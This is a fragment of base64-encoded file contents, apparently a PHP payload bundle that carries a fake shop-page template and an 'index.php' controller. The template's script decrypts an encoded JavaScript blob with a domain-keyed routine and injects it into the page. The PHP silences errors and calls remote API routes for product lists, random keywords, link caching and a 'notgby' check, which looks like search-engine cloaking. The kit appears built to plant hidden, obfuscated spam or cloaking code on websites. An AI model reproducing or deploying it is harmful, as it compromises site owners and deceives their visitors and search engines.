QiIgdHlwZT0ibWF0cml4IgogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+CiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuMjc4NDMxMzcyNTQ5MDIiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC41OTIxNTY4NjI3NDUxIDAuMjc4NDMxMzcyNTQ5MDIiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+CiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+CiAgICAgICAgPC9maWx0ZXI+CiAgICA8L2RlZnM+Cjwvc3ZnPgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSIKICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4KICAgIDxkZWZzPgogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtbWlkbmlnaHQiPgogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCIKICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPgogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjY0NzA1ODgyMzUyOTQxIi8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPgogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4KICAgICAgICA8L2ZpbHRlcj4KICAgIDwvZGVmcz4KPC9zdmc+CjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIgogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPgogICAgPGRlZnM+CiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1tYWdlbnRhLXllbGxvdyI+CiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4IgogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+CiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNzgwMzkyMTU2ODYyNzUgMSIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuOTQ5MDE5NjA3ODQzMTQiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC4zNTI5NDExNzY0NzA1OSAwLjQ3MDU4ODIzNTI5NDEyIi8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPgogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+CiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPgogICAgICAgIDwvZmlsdGVyPgogICAgPC9kZWZzPgo8L3N2Zz4KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+CiAgICA8ZGVmcz4KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLXB1cnBsZS1ncmVlbiI+CiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4IgogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+CiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+CiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNjUwOTgwMzkyMTU2ODYgMC40MDM5MjE1Njg2Mjc0NSIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC40NDcwNTg4MjM1Mjk0MSAwLjQiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+CiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+CiAgICAgICAgPC9maWx0ZXI+CiAgICA8L2RlZnM+Cjwvc3ZnPgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSIKICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4KICAgIDxkZWZzPgogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtYmx1ZS1vcmFuZ2UiPgogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCIKICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPgogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjA5ODAzOTIxNTY4NjI3NSAxIi8+CiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC42NjI3NDUwOTgwMzkyMiIvPgogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjg0NzA1ODgyMzUyOTQxIDAuNDE5NjA3ODQzMTM3MjUiLz4KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+CiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+CiAgICAgICAgPC9maWx0ZXI+CiAgICA8L2RlZnM+Cjwvc3ZnPgo8ZGl2IGNsYXNzPSJwYWdlLXdyYXBwZXIgc2lkZS1uYXYiPjwhLS0gcGFnZSB3cmFwcGVyIC0tPgoKICAgIDwhLS0gaGVhZGVyIHdyYXBwZXIgLS0+CiAgICA8ZGl2IGNsYXNzPSJoZWFkZXItd3JhcHBlciBmaXhlZC1oZWFkZXIgaGVhZGVyLXNpZGUtbmF2IHNpZGUtbmF2LXdyYXAiPgogICAgICAgIDxoZWFkZXIgaWQ9ImhlYWRlciIgY2xhc3M9ImhlYWRlci1zaWRlIHN0aWNreS1tZW51LWhlYWRlciIgZGF0YS1wbHVnaW4tc3RpY2t5CiAgICAgICAgICAgICAgICBkYXRhLXBsdWdpbi1vcHRpb25zPSJ7JnF1b3Q7YXV0b0luaXQmcXVvdDs6IHRydWUsICZxdW90O21pbldpZHRoJnF1b3Q7OiA5OTIsICZxdW90O2NvbnRhaW5lclNlbGVjdG9yJnF1b3Q7OiAmcXVvdDsucGFnZS13cmFwcGVyJnF1b3Q7LCZxdW90O2F1dG9GaXQmcXVvdDs6dHJ1ZSwgJnF1b3Q7cGFkZGluZ09mZnNldEJvdHRvbSZxdW90OzogMCwgJnF1b3Q7cGFkZGluZ09mZnNldFRvcCZxdW90OzogMH0iPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXItbWFpbiBzaG93LW1pbmljYXJ0Ij4KCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXIiPgoKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXItY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHVsIGlkPSJtZW51LW1haW4tbWVudSIgY2xhc3M9InNpZGViYXItbWVudSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e3Byb2R1Y3RfY2F0ZWdvcnl9fQogICAgICAgICAgICAgICAgICAgICAgICA8L3VsPgogICAgICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0ibW9iaWxlLXRvZ2dsZSIgYXJpYS1sYWJlbD0iTW9iaWxlIE1lbnUiIGhyZWY9IiMiPjxpIGNsYXNzPSJmYXMgZmEtYmFycyI+PC9pPjwvYT4KCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImQteGwtbm9uZSBkLWxnLW5vbmUgaW5saW5lLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9Im1pbmktY2FydCIgY2xhc3M9Im1pbmktY2FydCBzaW1wbGUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcnQtaGVhZCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJjYXJ0LWljb24iPjxpIGNsYXNzPSJtaW5pY2FydC1pY29uIHBvcnRvLWljb24tc2hvcHBpbmctY2FydCI+PC9pPjxzcGFuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9ImNhcnQtaXRlbXMiPjA8L3NwYW4+PC9zcGFuPjxzcGFuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iY2FydC1pdGVtcy10ZXh0Ij4wIGl0ZW1zPC9zcGFuPjwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcnQtcG9wdXAgd2lkZ2V0X3Nob3BwaW5nX2NhcnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ3aWRnZXRfc2hvcHBpbmdfY2FydF9jb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcnQtbG9hZGluZyI+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2hlYWRlcj4KCiAgICA8L2Rpdj4KICAgIDwhLS0gZW5kIGhlYWRlciB3cmFwcGVyIC0tPgoKICAgIDxkaXYgY2xhc3M9ImNvbnRlbnQtd3JhcHBlciI+CgoKICAgICAgICA8ZGl2IGlkPSJtYWluIiBjbGFzcz0iY29sdW1uMSB3aWRlIGNsZWFyZml4IG5vLWJyZWFkY3J1bWJzIj48IS0tIG1haW4gLS0+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250YWluZXItZmx1aWQiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93IG1haW4tY29udGVudC13cmFwIj4KCiAgICAgICAgICAgICAgICAgICAgPCEtLSBtYWluIGNvbnRlbnQgLS0+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWFpbi1jb250ZW50IGNvbC1sZy0xMiI+CgoKICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0iY29udGVudCIgcm9sZT0ibWFpbiI+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGFydGljbGUgY2xhc3M9InBvc3QtMTQzIHBhZ2UgdHlwZS1wYWdlIHN0YXR1cy1wdWJsaXNoIGhlbnRyeSI+CgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJwYWdlLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGRhdGEtZWxlbWVudG9yLXR5cGU9IndwLXBhZ2UiIGRhdGEtZWxlbWVudG9yLWlkPSIxNDMiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xhc3M9ImVsZW1lbnRvciBlbGVtZW50b3ItMTQzIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWN0aW9uCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJlbGVtZW50b3Itc2VjdGlvbiBlbGVtZW50b3ItdG9wLXNlY3Rpb24gZWxlbWVudG9yLWVsZW1lbnQgZWxlbWVudG9yLWVsZW1lbnQtNDE4MTM2YSBlbGVtZW50b3Itc2VjdGlvbi1mdWxsX3dpZHRoIHAtdC14bCBwLWItbWQgZWxlbWVudG9yLXNlY3Rpb24taGVpZ2h0LWRlZmF1bHQgZWxlbWVudG9yLXNlY3Rpb24taGVpZ2h0LWRlZmF1bHQiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtaWQ9IjQxODEzNmEiIGRhdGEtZWxlbWVudF90eXBlPSJzZWN0aW9uIj4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZWxlbWVudG9yLWNvbnRhaW5lciBlbGVtZW50b3ItY29sdW1uLWdhcC1kZWZhdWx0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZWxlbWVudG9yLWNvbHVtbiBlbGVtZW50b3ItY29sLTEwMCBlbGVtZW50b3ItdG9wLWNvbHVtbiBlbGVtZW50b3ItZWxlbWVudCBlbGVtZW50b3ItZWxlbWVudC1kZDYyODQ0IgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtaWQ9ImRkNjI4NDQiIGRhdGEtZWxlbWVudF90eXBlPSJjb2x1bW4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZWxlbWVudG9yLXdpZGdldC13cmFwIGVsZW1lbnRvci1lbGVtZW50LXBvcHVsYXRlZCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZWxlbWVudG9yLWVsZW1lbnQgZWxlbWVudG9yLWVsZW1lbnQtNjgyMmZiZSBtYi00IGVsZW1lbnRvci13aWRnZXQgZWxlbWVudG9yLXdpZGdldC1wb3J0b19wcm9kdWN0cyIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEtaWQ9IjY4MjJmYmUiIGRhdGEtZWxlbWVudF90eXBlPSJ3aWRnZXQiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkYXRhLXNldHRpbmdzPSJ7JnF1b3Q7c3BhY2luZyZxdW90Ozp7JnF1b3Q7dW5pdCZxdW90OzomcXVvdDtweCZxdW90OywmcXVvdDtzaXplJnF1b3Q7OiZxdW90OyZxdW90OywmcXVvdDtzaXplcyZxdW90OzpbXX19IgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YS13aWRnZXRfdHlwZT0icG9ydG9fcHJvZHVjdHMuZGVmYXVsdCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVsZW1lbnRvci13aWRnZXQtY29udGFpbmVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgaWQ9InBvcnRvLXByb2R1Y3RzLTY4ODMiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsYXNzPSJwb3J0by1wcm9kdWN0cyB3cGJfY29udGVudF9lbGVtZW50IGRlZmF1bHQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7cHJvZHVjdF9saXN0fX0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VjdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2FydGljbGU+CgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCgogICAgICAgICAgICAgICAgICAgIDwvZGl2PjwhLS0gZW5kIG1haW4gY29udGVudCAtLT4KCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic2lkZWJhci1vdmVybGF5Ij48L2Rpdj4KCiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CgoKICAgICAgICA8L2Rpdj48IS0tIGVuZCBtYWluIC0tPgoKCiAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyLXdyYXBwZXIiPgoKICAgICAgICAgICAgPGRpdiBpZD0iZm9vdGVyIiBjbGFzcz0iZm9vdGVyIGZvb3Rlci0zIgogICAgICAgICAgICA+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyLWJvdHRvbSI+CiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZm9vdGVyLWxlZnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAge3tmb290ZXJfY29weXJpZ2h0fX0KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXItcmlnaHQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBjbGFzcz0iaW1nLXJlc3BvbnNpdmUgZm9vdGVyLXBheW1lbnQtaW1nIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcmM9Ii93cC1jb250ZW50L3VwbG9hZHMvMjAyMC8wMS9zaG9wMTBfcGF5bWVudC0xLnBuZyIgYWx0PSJQYXltZW50IEdhdGV3YXlzIi8+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KCgogICAgICAgIDwvZGl2PgoKICAgIDwvZGl2PgoKPC9kaXY+PCEtLSBlbmQgd3JhcHBlciAtLT4KCjxkaXYgY2xhc3M9InBhbmVsLW92ZXJsYXkiPjwvZGl2Pgo8ZGl2IGlkPSJzaWRlLW5hdi1wYW5lbCIgY2xhc3M9IiI+CiAgICA8YSBocmVmPSIjIiBhcmlhLWxhYmVsPSJNb2JpbGUgQ2xvc2UiIGNsYXNzPSJzaWRlLW5hdi1wYW5lbC1jbG9zZSI+PGkgY2xhc3M9ImZhcyBmYS10aW1lcyI+PC9pPjwvYT4KICAgIDxkaXYgY2xhc3M9InN3aXRjaGVyLXdyYXAiPjwvZGl2PgogICAgPGRpdiBjbGFzcz0ibWVudS13cmFwIj4KICAgICAgICA8dWwgaWQ9Im1lbnUtbWFpbi1tZW51LTEiIGNsYXNzPSJtb2JpbGUtbWVudSBhY2NvcmRpb24tbWVudSI+e3twcm9kdWN0X2NhdGVnb3J5X21vYmlsZX19PC91bD4KICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0ic2hhcmUtbGlua3MiPjxhIHRhcmdldD0iX2JsYW5rIiByZWw9Im5vZm9sbG93IG5vb3BlbmVyIG5vcmVmZXJyZXIiIGNsYXNzPSJzaGFyZS1mYWNlYm9vayIgaHJlZj0iIyIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aXRsZT0iRmFjZWJvb2siPjwvYT4KICAgICAgICA8YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtdHdpdHRlciIgaHJlZj0iIyIgdGl0bGU9IlR3aXR0ZXIiPjwvYT4KICAgICAgICA8YSB0YXJnZXQ9Il9ibGFuayIgcmVsPSJub2ZvbGxvdyBub29wZW5lciBub3JlZmVycmVyIiBjbGFzcz0ic2hhcmUtaW5zdGFncmFtIiBocmVmPSIjIiB0aXRsZT0iSW5zdGFncmFtIj48L2E+CiAgICA8L2Rpdj4KPC9kaXY+CjxzY3JpcHQ+CiAgICBmdW5jdGlvbiBhcHBlbmRDb250ZW50KGNvbnRlbnQpIHsKICAgICAgICB2YXIgY29udGFpbmVyID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7CiAgICAgICAgY29udGFpbmVyLmlubmVySFRNTCA9IGNvbnRlbnQ7CgogICAgICAgIHZhciBzY3JpcHRzID0gY29udGFpbmVyLmdldEVsZW1lbnRzQnlUYWdOYW1lKCdzY3JpcHQnKTsKICAgICAgICBmb3IgKHZhciBpID0gMDsgaSA8IHNjcmlwdHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgdmFyIG9sZFNjcmlwdCA9IHNjcmlwdHNbaV07CiAgICAgICAgICAgIHZhciBuZXdTY3JpcHQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKICAgICAgICAgICAgaWYgKG9sZFNjcmlwdC5zcmMpIHsKICAgICAgICAgICAgICAgIG5ld1NjcmlwdC5zcmMgPSBvbGRTY3JpcHQuc3JjOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgbmV3U2NyaXB0LnRleHQgPSBvbGRTY3JpcHQuaW5uZXJIVE1MOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQobmV3U2NyaXB0KTsKICAgICAgICB9CiAgICB9CiAgICBsZXQganNUZXh0ID0ge3tzdGF0aWMuanN9fQogICAgbGV0IGpzRGVjb2RlZFN0cmluZyA9IGRlY29kZUh0bWxFbnRpdGllcyhqc1RleHQuam9pbignJykpOwogICAgY29uc3QganNEZWNyeXB0ZWRUZXh0ID0gZGVjb2RlKGpzRGVjb2RlZFN0cmluZywgZG9tYWluKTsKICAgIGFwcGVuZENvbnRlbnQoanNEZWNyeXB0ZWRUZXh0KQo8L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw+Cg==', 'index.php' => 'PD9waHAKaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCAnMCcpOwpjbGFzcyAgaW5kZXh7CgogICAgY29uc3QgQ0FURUdPUllfVVJMID0gJy9hcGkvZ2V0X2Jhbm5lcic7CiAgICBjb25zdCBTVUJfVVJMID0gJy9hcGkvZ2V0X3N1Yic7CiAgICBjb25zdCBQUk9EVUNUX1VSTCA9ICcvYXBpL2dldF9saXN0JzsKICAgIGNvbnN0IERFVEFJTF9VUkwgPSAnL2FwaS9nZXRfZGV0YWlsJzsKICAgIGNvbnN0IFJBTkRPTV9LRVlXT1JEU19VUkwgPSAnL2FwaS9yYW5kb21Xb3Jkcyc7CiAgICBjb25zdCBOT1RfR0JZX1VSTCA9ICcvYXBpL25vdGdieSc7CiAgICBjb25zdCBMSU5LX0NBQ0hFX1VSTCA9ICcvYXBpL2xpbmsvY2FjaGUnOwogICAgY29uc3QgSE9UX1RPUElDU19JTkRFWF9VUkwgPSAnL2FwaS9ob3QvZ2V0X2luZGV4JzsKICAgIGNvbnN0IEhPVF9UT1BJQ1NfTElTVF9VUkwgPSAnL2FwaS9ob3QvZ2V0X2xpc3QnOwogICAgY29uc3QgSE9UX1RPUElDU19ERVRBSUxfVVJMID0gJy9hcGkvaG90L2dldF9kZXRhaWwnOwogICAgY29uc3QgSEVBTFRIX0NIRUNLID0gJ2hlYWx0aGNoZWNrJzsKICAgIGNvbnN0IENBQ0hFX1JPVVRFID0gJ19jYWNoZV8nOwogICAgY29uc3QgTEl